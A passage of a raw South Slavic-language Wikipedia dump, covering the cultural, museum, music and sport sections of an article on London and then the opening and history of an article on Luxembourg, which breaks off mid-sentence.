|archive-url=https://web.archive.org/web/20110905160854/http://www.timesonline.co.uk/tol/life_and_style/education/sunday_times_university_guide/article2496158.ece }}</ref> Nekoliko koledža posvećeno je lijepim umjetnostima, uključujući ''Royal College of Music, Royal College of Art'' i ''Guildhall School of Music and Drama''. Ostali londonski univerziteti, kao ''Brunel University, City University, London Metropolitan University, Middlesex University, University of East London, University of the Arts London, University of Westminster, Kingston University'' i ''London South Bank University'' nisu dio Londonskog Univerziteta, ali svejedno vodeće institucije u svojim sektorima i cijenjeni među britanskim i međunarodnim studentima. Neki su bili tehnološki instituti dok im nije dodijeljen status univerziteta 1992. ''Imperial College London'' napustio je savezni Londonski Univerzitet 2007. Od spajanja ''University of North London'' i ''London Guildhall University'' 2003, ''London Metropolitan University'' najveće je jedinstveno sveučilište u glavnom gradu, s preko 34,000 studenata iz 155 zemalja.<ref name="LOND159">{{cite web|publisher=London Metropolitan University|url=http://www.londonmet.ac.uk/library/o90402_3.pdf|title=About London Met|archiveurl=https://web.archive.org/web/20090124143209/http://www.londonmet.ac.uk/library/o90402_3.pdf|archivedate=2009-01-24|access-date=2010-09-17|deadurl=yes}}</ref> London je svjetski poznat po svojoj poslovnoj edukaciji, s nekoliko vrhunskih poslovnih škola: ''London Business School, Cass Business School'' i ''Imperial College Business School''.<ref name="LOND160">{{cite web |publisher=Financial Times |url=http://rankings.ft.com/businessschoolrankings/global-mba-rankings |title=Global MBA Rankings 2009 |access-date=2010-09-17 |archive-date=2011-08-29 |archive-url=https://web.archive.org/web/20110829050814/http://rankings.ft.com/businessschoolrankings/global-mba-rankings |dead-url=yes }}</ref> Osim toga, u Londonu djeluju i tri međunarodna univerziteta: ''Schiller International University, Richmond University'' i ''Regent's College''. == Kultura == ''Glavni članak: [[Kultura u Londonu]]'' === Naglasak === Londonski naglasak davno je usvojio ''[[Cockney]]'' karakteristike, te je bio nalik na mnoge naglaske jugoistočne Engleske, kojih je rimujući Cockney sleng dijelom. 'Londoner', naglasak 21. veka znatno varira: ono što postaje sve više prihvaćeno među mlađima do 30, miješavina je ''Cockneya, Received Pronunciationa'', i sve sile "etničkih" naglasaka, posebno [[Karibi|karipskih]], koji formiraju naglasak nazvan ''Multicultural London English'' (MLE), ili ''Jafaican''.<ref name="LOND161">{{cite web |publisher=The Independent |url=http://www.independent.co.uk/news/uk/this-britain/jafaican-and-tikkiny-drown-out-the-east-ends-cockney-twang-473688.html |title=Jafaican and Tikkiny drown out the East End's Cockney twang |access-date=2010-09-17 |archivedate=2011-05-20 |archiveurl=https://www.webcitation.org/5yoK682mq?url=http://www.independent.co.uk/news/uk/this-britain/jafaican-and-tikkiny-drown-out-the-east-ends-cockney-twang-473688.html |deadurl=yes }}</ref> === Slobodno vrijeme i zabava === [[Datoteka:Royal Opera House and ballerina.jpg|thumb|180px|''Royal Opera House'' u Covent Gardenu, jedna od vodećih opernih kuća u svijetu]] Londonski kazališni okrug West End u Westminsteru, s mnogim kinematografima i klubovima, kao i Londonskom kineskom čertvrti (U Sohou) smješten je oko trgova Leicester Square, gdje se održavaju svjetske filmske [[Premijera|premijere]], i [[Piccadilly Circus]], poznatog po svojim divovskim elektronskim reklamama, neposredno istočno od Covent Gardena. Britanski Kraljevski Balet, Engleski Nacionalni Balet, Kraljevska Opera i Engleska Nacionalna Opera smješteni su u Londonu, te nastupaju u ''Royal Opera House, The London Coliseum, Sadler's Wells Theatre'' i ''[[Royal Albert Hall]]u'', kao i na turnejama po zemlji.<ref name="LOND163">{{cite web |publisher=Your London |url=http://www.yourlondon.gov.uk/visiting/topic.jsp?topicid=6482&search_title=Theatres+and+concert+halls |title=Theatres and concert halls |archiveurl=https://web.archive.org/web/20080124185332/http://www.yourlondon.gov.uk/visiting/topic.jsp?topicid=6482&search_title=Theatres+and+concert+halls |archivedate=2008-01-24 |access-date=2010-09-17 |deadurl=no }}</ref> Upper Street u Islingtonu, dugačka jednu milju (1,6&nbsp;km) koja se proteže sjeverno od ''The Angela'', sadrži više barova i restorana od bilo koje druge ulice u Velikoj Britaniji.<ref name="LOND164">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/history/trail/local_history/city/street_03.shtml?publichouses |title=2001: Public houses}}</ref> [[Oxford Street]], najužurbanija trgovačka zona u Europi, dugačka je oko 1.6&nbsp;km, što ju čini najdužom trgovačkom ulicom u Britaniji, s mnogim trgovinama i robnim kućama, među kojima ''Selfridges''. Knightsbridge, gdje se nalazi robna kuća Harrods, pruža se neposredno na jugozapadu. Iz Londona između ostalih djeluju dizajneri [[Vivienne Westwood]], [[John Galliano]], [[Stella McCartney]], [[Manolo Blahnik]], i [[Jimmy Choo]]. Grad je poznat po umjetničkim i modnim školama i jedno od međunarodnih središta [[Moda|mode]] zajedno s Parizom, [[Milano]]m i New Yorkom. Radi svoje etnički raznolike populacije, London nudi veliki izbor kulinarstva. Gastronomska središta uključuju bangladeške restorane u Brick Lane i kineske u Kineskoj četvrti. U gradu se održava mnoštvo redovnih godišnjih događaja. Početak godine slavi se relativno novijom novogodišnjom paradom ''New Year's Day Parade'', i drugim najvećim uličnim slavljem na svijetu. Notting Hill karneval održava se za vrijeme praznika ''Bank holiday'', krajem kolovoza. Tradicionalne parade uključuju ''Lord Mayor's Show'' u studenome, stoljećima star događaj kojim se slavi godišnje imenovanje novog Lorda Gradonačelnika Londona, s procesijom ulicama grada, te ''Trooping the Colour'' u lipnju, formalnu vojnu svečanost u izvedbi regimenti [[Britanska zajednica naroda|Commonwealtha]], i Britanske vojske radi proslave službenog rođendana [[elizabeta II|kraljice]].<ref name="LOND166">{{cite web |publisher=Royal Government |url=http://www.royal.gov.uk/output/Page4820.asp |title=One Queen, Two Birthdays}}</ref> === Književnost i film === ''Glavni članak: [[London u književnim i filmskim djelima]]'' [[Datoteka:Charles Dickens - Project Gutenberg eText 13103.jpg|thumb|180px|[[Charles Dickens]], čija su djela stvorila prodoran imidž viktorijanskog Londona]] London je pozornica mnogih književnih djela, čija su literarna središta tradicionalno bila [[Hampstead]] i (od početka 20. veka) Bloomsbury. Nekoliko je književnika u bliskoj vezi s Londonom, kao kroničar Samuel Pepys, poznat po svom opisu velikog požara, [[Charles Dickens]], čiji je prikaz maglovitog, snježnog i sivog Londona uličnih čistača i džepara imao veliki utjecaj na percepciju rano-viktorijanskog Londona, [[Virginia Woolf]], [[roman]]sijerka i feministkinja, autorica kratkih priča, cijenjena kao jedna od prvih modernističkih figura [[književnost]]i 20. veka.<ref name="LOND167">{{cite web |publisher=Bryn Mawr College |url=http://www.brynmawr.edu/library/speccoll/guides/london/londoninliterature.shtml |title=London in Literature }}</ref> ''A Journal of the Plague Year'' iz 1722, [[Daniel Defoe|Daniela Defoea]], fiktivni je prikaz događaja za vrijeme velike kuge 1665.<ref name="LOND167"/> [[William Shakespeare]] proveo je veći dio svog života u Londonu, dok je njegov suvremenik [[Ben Jonson]] također djelovao u Londonu, te su neki od njegovih radova - posebno komedija "Alkemičar", smješteni u tom gradu.<ref name="LOND167"/> Kasniji značajni opisi Londona 19. i ranog 20. stoljeća Dickensovi su romani, kao i priče o [[Sherlock Holmes|Sherlocku Holmesu]] [[Arthur Conan Doyle|Arthura Conana Doylea]].<ref name="LOND167"/> Suvremeni pisac obilno nadahnut gradom je Peter Ackroyd, posebno u djelima ''London: The Biography'', ''The Lambs of London'' i ''Hawksmoor''. U Londonu su također smještene radnje filmova ''Peter Pan'' (1953), ''101 Dalmatinac'' (1961), ''Mary Poppins'' (1964), ''Blowup'' (1966), ''Secrets & Lies'' (1996), ''Notting Hill'' (1999), ''[[Završni udarac]]'' (2005), ''[[Sweeney Todd: Đavolji brijač Fleet Streeta (2007)|Sweeney Todd: Đavolji brijač Fleet Streeta]]'' (2008), kao i televizijske sapunice ''EastEnders''. London je igrao značajnu ulogu u filmskoj industriji, s velikim studijima u Ealingu, i studijima sa specijalne efekte i post-produkciju u Sohou. Također, ''Working Title Films'' svoje sjedište ima u Londonu. === Muzeji i umjetničke galerije === ''Glavni članak: [[Popis muzeja u Londonu]]'' [[Datoteka:British Museum from NE 2.JPG|thumb|180px|British Museum]] [[Datoteka:Natural History Museum London Jan 2006.jpg|thumb|180px|Natural History Museum]] Muzeji i umjetničke zbirke Londona ubrajaju se među najbogatije u svijetu, koji osim što su velike turističke atrakcije, igraju i ulogu i znanstvenom istraživanju. * [[British Museum|Britanski Muzej]] (''British Museum'') sadrži kolekcije [[historija|povijesti]] i kulture čovječanstva. Zbirka, od oko 7 milijuna eksponata sa svih kontinata, među najvećima je i najsveobuhvatnijima u svijetu.<ref name="LOND169">{{cite web |publisher=[[BBC]] |url=http://news.bbc.co.uk/1/hi/talking_point/4460037.stm |title=Who should own historic artefacts?}}</ref> * Nacionalna galerija u Londonu (''National Gallery'') na Trafalgar Squareu, osnovana 1824, sadrži bogatu kolekciju od preko 2,300 umjetničkih slika koje datiraju od sredine 13. veka do 1900. * Nacionalni Pomorski Muzej (''National Maritime Museum'', NMM) u Greenwichu, vodeći je [[Pomorstvo|pomorski]] muzej u Velikoj Britaniji i možda najveći muzej takve vrste u svijetu. Povijesne zgrade muzeja dio su ''Maritime Greenwich'' mjesta svjetske baštine, koji također uključuje i Kraljevski opservatorij (''Royal Observatory''), i ''Queen's House'' iz 17. veka. * Nacionalna Portretna Galerija (''National Portrait Gallery'') umjetnička je galerija s kolkecijama portreta povijesno značajnih i slavnih britanskih ljudi. Kada je otvorena 1856, bila je to prva galerija takve vrste u svijetu. 1896. preseljena ja na današnju lokaciju na St Martin's Place, kraj Trafalgar Squarea u do same Nacionalne Galerije. * [[Natural History Museum|Prirodoslovni Muzej]] (''Natural History Museum'') jedan je od tri velika muzeja u Exhibition Road, u Južnom Kensingtonu. Sadrži 70 miliona eksponata podijeljenih u pet glavnih kategorija: [[Botanika]], [[entomologija]], mineralogija, [[paleontologija]] i [[zoologija]]. Muzej je svjetski poznat istraživački centar, specijaliziran u [[Taksonomija|taksonomiji]], identifikaciji i konzervaciji. Mnoge kolekcije imaju veliku povijesnu i znanstvenu vrijednost, kao primjerci koje je prikupio [[Charles Darwin]]. * Tate Britain, umjetnička je galerija, dio britanske mreže galerija ''Tate'' (ostale su Tate Modern, Tate Liverpool i Tate St Ives). Najstarija je institucija u mreži, s značajnom kolekcijom radova [[William Turner|J. M. W. Turnera]]. * Tate Modern, britanski je nacionalni muzej međunarodne moderne umjetnosti, te je zajedno s Tate Britain, Tate Liverpool, Tate St Ives, i Tate Online, dio mreže danas poznate kao ''Tate''.<ref name="LOND172">{{cite web |publisher=Tate Modern |url=http://www.tate.org.uk/modern/ |title=Tate Modern: International modern and contemporary art |access-date=2010-09-17 |archive-date=2010-10-08 |archive-url=https://web.archive.org/web/20101008063801/http://www.tate.org.uk/modern/ |dead-url=yes }}</ref> * [[Victoria and Albert Museum|Muzej Viktorije i Alberta]] (''Victoria and Albert Museum'' il ''V&A''), najveći je svjetski muzej [[Primjenjena umjetnost|primjenjene umjetnosti]] i [[dizajn]]a, sa permanentnom kolekcijom od preko 4.5 miliona eksponata. Nazvan prema princu Albertu i kraljici [[Viktorija|Viktoriji]], osnovan je 1852. Kolekcija pokriva 5,000 godina umjetnosti, od antike do današnjih dana u doslovno svim medijima i skoro sa svih kontinenata. Zbirke [[Keramika|keramike]], [[Staklo|stakla]], [[tekstil]]a, [[Odjeća|odjeće]], [[Srebro|srebra]], [[Željezo|željeza]], [[nakit]]a, [[namještaj]]a, srednjevjekovnih predmeta, [[skulptura]], gravura i litografija, crteža i [[fotografija]] među najvećim su i najopsežnijim u svijetu. Vrijedi navesti i ''British Library'' u St Pancrasu, britansku nacionalnu biblioteku, s 150 milijuna elemenata, a čuvena je i zbirka voštanih figura ''Madame Tussauds''.<ref name="LOND81">{{cite web |publisher=Tourist Information UK |url=http://www.tourist-information-uk.com/madame-tussauds.htm |title=Madame Tussauds — Tourist Information |access-date=2010-09-17 |archive-date=2012-02-22 |archive-url=https://web.archive.org/web/20120222033557/http://www.tourist-information-uk.com/madame-tussauds.htm |dead-url=yes }}</ref> === Muzika === U Londonu, jednom od najvećih svjetskih središte klasične i zabavne glazbe, svoja sjedišta imaju velike glazbene korporacije, kao [[EMI]], te bezbrojne grupe, glazbenici i profesionalci glazbene industrije. Također, u Londonu djeluju mnogi orkestri i koncertne dvorane, kao ''Barbican Arts Centre'' (glavna baza Londonskog Simfonijskog Orkestra), ''Cadogan Hall'' (Kraljevski Filharmonijski Orkestar) i ''[[Royal Albert Hall]]'' (BBC Promenadni Koncerti).<ref name="LOND163"/> ''Royal Opera House'' i ''Coliseum Theatre'' dvije su glavne operne kuće.<ref name="LOND163"/> U ''Royal Albert Hallu'' također su smještene i najveće [[orgulje]] u Velikoj Britaniji. Nekoliko [[konzervatorij]]a djeluje u gradu: ''Royal Academy of Music, Royal College of Music, Guildhall School of Music and Drama'' i ''Trinity College of Music''. [[Datoteka:BBC Proms 31.jpg|thumb|left|thumb|180px|U ''Royal Albert Hallu'' održavaju se koncerti i glazbeni događaji]] Brojna su mjesta u gradu za izvođenje rock i pop koncerata, uključujući i velike arene kao ''Earls Court, Wembley Arena'' i ''O₂ Arena'', i mnogo manjih kao ''Brixton Academy''. ''Hammersmith Apollo'' i ''Shepherd's Bush Empire''.<ref name="LOND163"/> Također, u Londonu se održavaju mnogi glazbeni festivali uključujući ''O2 Wireless Festival''. U Londonu se nalaze i prvi i izvorni ''Hard Rock Cafe'', te ''Abbey Road Studios'', gdje su [[The Beatles|Beatlesi]] snimili mnoge od svojih hitova. 1970-ih i 1980-ih, glazbenici kao [[David Bowie]], Elvis Costello, Cat Stevens, Ian Dury and the Blockheads, [[The Kinks]], [[The Rolling Stones]], [[The Who]], Madness, The Jam, [[Small Faces|The Small Faces]], [[Led Zeppelin]], [[Iron Maiden]], [[Fleetwood Mac]], [[The Police]], [[The Cure]], Squeeze i [[Sade]], osvojili su svijet nadahnuvši se zvukom i vibracijama ulica i ritma Londona.<ref name="LOND173">{{cite web |publisher=[[BBC]] |url=http://www.bbc.co.uk/london/content/articles/2006/04/06/garycrowley_londontop40_feature.shtml |title=London's top 40 artists}}</ref> London je znatno utjecao na razvoj [[Punk rock|punk]] glazbe,<ref name="LOND174">{{cite web |publisher=allmusic |url=http://www.allmusic.com/explore/style/punk-d204 |title=Punk Genre}}</ref> s punk ikonama kao [[Sex Pistols]], [[The Clash]],<ref name="LOND173"/> i Vivienne Westwood baziranim u gradu. Noviji su umjetnici proizašli iz londonske glazbene scene Bananarama, Bush, East 17, [[Siouxsie and the Banshees]], [[Spice Girls]], [[Jamiroquai]], The Libertines, Babyshambles, Bloc Party, [[Coldplay]] i [[Amy Winehouse]].<ref name="LOND175">{{cite web |publisher=londonbc.co.uk |url=http://www.londonbc.co.uk/history-of-music-in-london.html |title=History of music in London |access-date=2010-09-17 |archivedate=2011-05-20 |archiveurl=https://www.webcitation.org/5yoK9hhlR?url=http://www.londonbc.co.uk/history-of-music-in-london.html |deadurl=yes }}</ref> London je također centar urbane glazbe, posebno za žanrove UK Garage, Drum and Bass, dubstep i Grime, koji su se razvili pod utjecajem stranih stilova kao [[hip hop]] i [[reggae]]. Radio stanica crnačke glazbe BBC 1Xtra, pokrenuta je kao podrška usponu domaće urbane glazbe u Londonu i ostatku Velike Britanije. == Sport == ''Glavni članak: [[Sport u Londonu]]'' [[Datoteka:England mai 2007 040.jpg|thumb|180px|Stadion Wembley, koji je pri izgradnji bio najskuplji stadion na svijetu, dom je engleskog nogometa]] London je bio domaćin [[Olimpijske igre|Olimpijskih igara]] u dva navrata, [[OI 1908.|1908.]] i [[OI 1948.|1948.]] Srpnja 2005, izabran je kao grad domaćin igara [[olimpijada 2012|2012]], što London čini prvim gradom koji je tri puta odabran kao organizator Ljetnih Olimpijskih Igara. Također, u Londonu su održane [[Igre Commonwealtha|Igre Britanskog Carstva]] 1934. Londonski najpopularniji sport je [[fudbal|nogomet]], te u gradu djeluje 13 profesionalnih klubova (''The Football League clubs''), uključujući pet u [[Premiership|Premier ligi]]: [[Arsenal F.C.|Arsenal]], [[Chelsea F.C.|Chelsea]], [[Fulham F.C.|Fulham]], [[Tottenham Hotspur]] i [[West Ham United]]. Također, u Londonu sjedište imaju i četiri [[rugby union]] tima koji igraju u ''Guinness Premiership'' ligi: London Irish, Saracens, Wasps i Harlequins, premda danas samo Harlequins igraju u Velikom Londonu. Također u gradu djeluju i dva profesionalna ''rugby league'' kluba - Harlequins Rugby League i London Skolars. Od 1924, izvorni [[Wembley Stadium (1923)|stadion Wembley]] bio je dom [[Engleska nogometna reprezentacija|Engleskoj nogometnoj reprezentaciji]], i sjedište finala [[FA kup]]a, (nogomet) i finala Challenge Cupa (rugby league).<ref name="LOND177">{{cite web |publisher=Wembley National Stadium Limited |url=http://www.wembleystadium.com/GloriousPast/greatmoments/1steverwembleyFACupFinal.htm |title=Wembley Stadium History — Official Website |access-date=2010-09-17 |archivedate=2008-04-03 |archiveurl=https://web.archive.org/web/20080403102710/http://www.wembleystadium.com/GloriousPast/greatmoments/1steverwembleyFACupFinal.htm |deadurl=yes }}</ref> Novi stadion [[Wembley]] izgrađen 2007, s kapacitetom 90,000 gledatelja, koristi sa na jednak način.<ref name="LOND178">{{cite web |publisher=Wembley National Stadium Limited |url=http://www.wembleystadium.com/pressbox/presspack/factsandFigures.htm |title=Wembley Stadium — Presspack — Facts and Figures |access-date=2010-09-17 |archive-date=2008-05-16 |archive-url=https://web.archive.org/web/20080516051636/http://www.wembleystadium.com/pressbox/presspack/factsandFigures.htm |dead-url=yes }}</ref> ''Twickenham Stadium'' na jugozapadu Londona, nacionalni je rugby union stadion, kapaciteta 84,000 gledatelja. Natjecanja u [[Kriket]]u održavaju se na dva test kriket terena; ''Lord's'' (dom kluba Middlesex C.C.C) u St John's Wood i ''The Oval'', (dom kluba Surrey C.C.C) u Kenningtonu. [[Tenis]]ko prvenstvo u [[Wimbledon]]u, jedno od najpoznatijih godišnjih sportskih natjecanja u Londonu, koje se održava u tenis klubu ''All England'' u jugozapadnom predgrađu Wimbledonu. Ostali su značajni događaji godišnji masovni Londonski [[maraton]], na kojem se natječe oko 35,000 trkača, i čuvena veslačka utrka između Oxforda i Cambridgea na rijeci Temzi. == Bratimljeni gradovi == Postoji 46 drugih mjesta na ostalim kontinentima nazvanih po Londonu.<ref name=lond>{{cite web |publisher=Times Online |url=http://www.timesonline.co.uk/tol/news/uk/article5409039.ece |title=Richmond, in Surrey, is the most widely copied British place name worldwide }}{{Dead link|date=September 2024 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> Kao i sam London, loondonske općine također održavaju bratimljenja po svijetu s dijelovima drugih gradova. Na popisu ispod, prikazani su gradovi s kojima uprava Velikog Londona održava bratimljenja: {| | valign = "top" | * [[Sjedinjene Američke Države|SAD]], [[New York|New York City]]<ref name="LOND185">{{cite web |publisher=Greater London Authority |url=http://www.london.gov.uk/mayor/international/city_partnerships/docs/new_york_partnership_agreement.pdf |title=THE NEW YORK CITY-LONDON SISTER CITY PARTNERSHIP|archiveurl=http://webarchive.nationalarchives.gov.uk/20110817081359/http://www.london.gov.uk/mayor/international/city_partnerships/docs/new_york_partnership_agreement.pdf|archivedate = 17. 08. 2011.}}</ref> * [[Rusija]], [[Moskva]] * [[Nemačka]], [[Berlin]] * [[Južna Afrika]], [[Johannesburg]]<ref name="LOND186">{{cite web |publisher=City of Johannesburg |url=http://www.joburg.org.za/content/view/833/131/#ixzz0PU5ypfol |title=Twinning agreements |access-date=2010-09-17 |archivedate=2009-11-11 |archiveurl=https://web.archive.org/web/20091111023503/http://www.joburg.org.za/content/view/833/131#ixzz0PU5ypfol |deadurl=yes }}</ref> * [[Malezija]], [[Kuala Lumpur]] * [[Kuvajt]], [[Kuvajt (grad)|Kuvajt]] Sljedeći gradovi održavaju ugovore o prijateljstvu s Londonom: * [[Azerbejdžan]], [[Baku]] * [[Argentina]], [[Buenos Aires]] * [[Bugarska]], [[Sofija]] * [[Indija]], [[Delhi]] * [[Indija]] [[Mumbai]] | valign="top" | * [[Kolumbija]], [[Bogota]] * [[Turska]], [[Istanbul]] * [[Italija]], [[Rim]] * [[Rumunija|Rumunjska]], [[Bukurešt]] * [[Norveška]], [[Oslo]] * [[Francuska]], [[Pariz]] * [[Iran]], [[Teheran]] * [[Japan]], [[Tokijo|Tokyo]] * [[Narodna Republika Kina|Kina]], [[Peking]] * [[Crna Gora]], [[Podgorica]] * [[Alžir]], [[Alžir (grad)|Alžir]] * [[Hrvatska]], [[Zagreb]] |} == Reference == {{reflist|3}} == Vanjske veze == {{WProjekti |commonscat = London |wječnik = London }} * [http://www.london.gov.uk/ www.london.gov.uk] – Službena stranica vlade Londona pri Upravi Velikog Londona koja pokriva ured gradonačelnika i londonsku skupštinu * [http://www.britishpathe.com/workspace.php?id=2449&delete_record=75105/ British Pathé] {{Webarchive|url=https://web.archive.org/web/20120101193504/http://www.britishpathe.com/workspace.php?id=2449&delete_record=75105%2F |date=2012-01-01 }} Digitalna arhiva stotina filmova Londona u 20. stoljeću * [http://www.british-history.ac.uk/place.aspx?region=1 London] u ''British History Online'', s poveznicama na brojne relevantne on-line izvore. * [http://www.visitlondon.com/ VisitLondon.com] – Službena stranica Londona * [http://www.LondonTown.com/ LondonTown.com] – Londonska informativna stranica * [http://www.bbc.co.uk/london/ BBC London] * [http://webarchive.nationalarchives.gov.uk/20040722014745/http://www.statistics.gov.uk/focuson/london/ ''Office for National Statistics: Focus on London 2007''] – sažetak službenih statistika * [http://mapoflondon.uvic.ca/ ''Map of Early Modern London''] – Povijesni plan i enciklopedija Shakespeareovog Londona * [http://www.museumoflondon.org.uk/ ''Museum of London Group Portal''] * [http://www.tfl.gov.uk/ Transport for London] (TfL) – uprava gradskog prevoza * [http://www.dmoz.org/Regional/Europe/United_Kingdom/England/London/ ] {{Webarchive|url=https://web.archive.org/web/20091221055244/http://www.dmoz.org/Regional/Europe/United_Kingdom/England/London/ |date=2009-12-21 }} - London na [[Open Directory Project]] * [http://www.britannia.com/history/londonhistory/ Povijest Londona kroz stoljeća] {{Webarchive|url=https://web.archive.org/web/20090210051016/http://www.britannia.com/history/londonhistory/ |date=2009-02-10 }} {{Glavni gradovi evropskih država}} [[Kategorija:London| ]] [[Kategorija:Gradovi u Engleskoj]] [[Kategorija:Glavni gradovi u Evropi]] [[Kategorija:Olimpijski gradovi]] b8972m5gof96slyaup7i1hv96bdbbwa 0 3181 42602703 42505383 2026-05-28T09:05:03Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602703 wikitext text/x-wiki {{Okvir_zemlje_svijeta | ime = Veliko Vojvodstvo Luksemburg | izvorno_ime = Groussherzogtom Lëtzebuerg (luks)<br />Grand-Duché de Luxembourg (fr)<br />Großherzogtum Luxemburg (njem) | ime_genitiv = Luksemburga | eng_ime = Luxembourg | zastava = Flag of Luxembourg.svg | grb =Coat of arms of Luxembourg.svg| lokacija = EU-Luxembourg.svg| službeni_jezik = [[luksemburški jezik|luksemburški]], [[njemački jezik|njemački]] i [[francuski jezik|francuski]] | službeni_jezik_napomena = | glavni_grad = [[Luxembourg]] | predstavnik_države_množina = Veliki Vojvode | predstavnik_države = Veliki Vojvoda | predstavnik_države_osoba = [[Henri Luksemburški]] | predsjednik_vlade_osoba = [[Luc Frieden]] | površina_poredak = 166 | površina = 2.586 | vode = ~0 | stanovništvo_poredak = 168 | stanovništvo = 442972 | godina_popisa = 2004 | gustoća_stanovništva = 171 | neovisnost = [[11. 5.]] [[1867]].| valuta = [[euro]] '''¹⁾''' | stoti_dio_valute = 100 centa | vremenska_zona = +1 <br /> [[UTC]] +2 ljeti | himna = [[Ons Heemecht]] | internetski_nastavak = .lu | pozivni_broj = 352 | komentar = '''¹⁾''' Do [[1999]]. luksemburški franak | moto = Mir wëlle bleiwe wat mir sin<br /> ([[luksemburški jezik|luksemburški]], "želimo ostati ono što jesmo") }} '''Luksemburg''' ([[luksemburški|luks.]] '''Lëtzebuerg''' [[međunarodna fonetska abeceda|<nowiki>[</nowiki>ˈlətsəbuχɕ<nowiki>]</nowiki>]], [[njemački jezik|njem.]] '''Luxemburg''' [[međunarodna fonetska abeceda|<nowiki>[</nowiki>ˈlʊksəmˌbʊɐk<nowiki>]</nowiki>]], [[francuski jezik|franc.]] '''Luxembourg''' [[međunarodna fonetska abeceda|<nowiki>[</nowiki>lyksɑ̃buʁ<nowiki>]</nowiki>]]; službeno '''Veliko Vojvodstvo''' ili '''Velika Vojvodina Luksemburg''', luks. '''Groussherzogtum Lëtzebuerg''', njem. '''Großherzogtum Luxemburg''', franc. '''Grand-Duché de Luxembourg'''), država u [[zapadna Evropa|zapadnoj Evropi]], između jugoistočne [[Belgija|Belgije]] (duljina granice 148&nbsp;km), zapadnog dijela [[Njemačka|Njemačke]] (135&nbsp;km) i sjeveroistočne [[Francuska|Francuske]] (73&nbsp;km). Obuhvaća 2586&nbsp;km², čime je poslije Malte najmanja zemlja [[Evropska unija|Evropske unije]]. Po državnom uređenju je [[parlament]]arna monarhija na čelu koje je veliki vojvoda [[Henri, veliki vojvoda Luksemburga|Henrijem]]. Luksemburg je jedna od zemalja osnivača [[Evropska ekonomska zajednica|Evropske ekonomske zajednice]], organizacije koja je prethodnik današnje Evropske unije, a zajedno sa [[Belgija|Belgijom]] i [[Holandija|Holandijom]] čini zemlje [[Beneluks]]a. Od marta [[1970]] godine, Luksemburg je članica ''„Organisation internationale de la Francophonie“'' (Međunarodne organizacije frankofonskih zemalja). Jedan je od osnivača [[NATO]] saveza. == Porijeklo imena == Naziv Luksemburg potiče od [[Dvorac Lucilinburhuc|dvorca Lucilinburhuc]], kasnije poznatog i kao ''Lützelburg''. To je malehni dvorac, oko kojeg je izgrađen današnji grad [[Luxembourg]]. Luksemburg je nastao u nekadašnjem [[Sveto Rimsko Carstvo|Svetom Rimskom Carstvu]] kao grofovija, a danas je posljednje veliko vojvodstvo na svijetu. == Historija == [[Datoteka:Albrecht Dürer 082.jpg|thumb|Portret Žigmunda Luksemburškog napravljen kratko nakon careve smrti]] Područje današnjeg Velikog vojvodstva Luksemburg je tokom historije bilo naseljeno [[Kelti]]ma, [[Rimljani]]ma i [[Franci]]ma, Nakon raspada Franačkog kraljevstva pod vlašću unuka [[Karlo Veliki|Karla Velikog]], ugovorom iz Verduna [[843]] godine dolazi pod okrilje [[Lotaringija|srednjelotarinškog kraljevstva]], a [[859]] godine pod vojvodstvo Oberlothringen. Godine [[925]] Oberlothringen ulazi u okvir Istočnog franačkog carstva, koje je preteča [[Sveto Rimsko Carstvo|Svetog Rimskog Carstva]] i [[Nemačka|Nemačke]]. Prvi pomen današnjeg Luksemburga je zabilježen [[963]] godine u povelji grofa Siegfrieda, u kojoj se spominje dvorac ''Lucilinburhuc'' (kasnije ''Lützelburg''). Potomci Siegfrieda I se spominju [[1060]] godine kao grofovi od Luksemburga. Kasnije je po nazivu njihovog dvorca nazvano i cijelo područje pod njihovom vlašću. Takozvana ''Dinastija Ardena'' vladala je ovim područjem sve do [[1163]] godine kada ga preuzima dinastija [[Namur]]. Kasnijim bračnim vezama, na vlast dolaze vladari iz dinastije Luksemburg-Limburg koji između kraja 13 i prve polovice 15 vijeka daruju 3 cara Svetog Rimskog Carstva od kojih će u južnoslavenskim državama najveću ulogu odigrati [[Žigmund Luksemburški]] koji će ratuje protiv Hrvatske i Bosne, a ujedno vodi i križarske ratove protiv Turaka. Godine [[1354]], car Karlo IV Luksemburški daje Luksemburgu status vojvodstva, koje će biti osvojeno od strane Velike Burgundije 1469. godine koja je preteča [[Holandija|Holandije]] čime vojvodstvo dolazi pod vlast Habsburga. U 16 vijeku na području Holandije dolazi do prve velike uspješne revolucije kojom se stvara nezavisna republika čiji sastavni dio je ovo vojvodstvo. Za vrijeme Napoleonovih ratova, Luksemburg osvajaju Francuzi. Međutim, nakon poraza [[Napoleon]]a i [[Bečki kongres|Bečkog kongresa]] većem dijelu područja je odobrena autonomija kao velikom vojvodstvu pod upravom [[Holandija|holandskog]] kralja [[Vilim I, kralj Holandije|Vilima I]], dok je manji dio bio [[anektiran]] od [[Prusija|Prusije]]. Tokom [[1830te|1830tih]], Luksemburg je učestvovao u belgijskoj revoluciji i bio je dio Belgije tokom devet godina. Međutim, u skladu sa prvim Londonskim sporazumom, potpisanim [[1839]] godine, Luksemburgu je oduzet veći dio teritorije u kojem se govorio većinom [[francuski jezik]] i pripojen Belgiji. Nakon pripojenja Belgiji većinskog francuskog dijela Luksemburga, ostatak zemlje je postao većinski njemačka država. Formalna nezavisnost zemlje je proglašena [[1867]]. godine u doba stvaranja Nemačke, kada se Luksemburg obavezao na neutralnost čime postaje malena tampon država između velesila. Tokom oba svjetska rata, Luksemburg je bio okupiran od strane Njemačke, a posebno problematično razdoblje je bilo u doba Drugog svetskog rata kada je prvo okupiran [[9. 5.]] [[1940]]. godine, a potom anektiran u augustu-kolovovu 1942. čime su Luksemburžani proglašeni Nemcima i mobilizirani u Nemačku vojsku gdje će ih poginuti više od 20 % onih koji odlaze na front. Odgovor stanovnika na aneksiju je bio generalni [[štrajk]], a Nemci odgovaraju žestokom represijom. Vojvodstvo je oslobođeno od strane saveznika u septembru-rujnu [[1944]], ali će njegovi dijelove u protunapadu [[Nemci]] ponovno osvojiti u decembru-prosincu tako da do potpunog oslobađanja dolazi u januraru-siječnju [[1944]]. godine. Do svoje nezavisnosti, Lukemburg je bio siromašna poljoprivedna zemlja. Nedostatak socijalnih i privrednih mogućnosti je prouzorkovao masovnu emigraciju stanovništva između 1840 i 1870 godine. Procjenjuje se da je oko trećine Luksemburžana tada napustilo zemlju. Da bi se to zaustavilo, Luksemburg počinje ulagati u industralizaciju. Nakon otkrića rude željeza 1870 godine 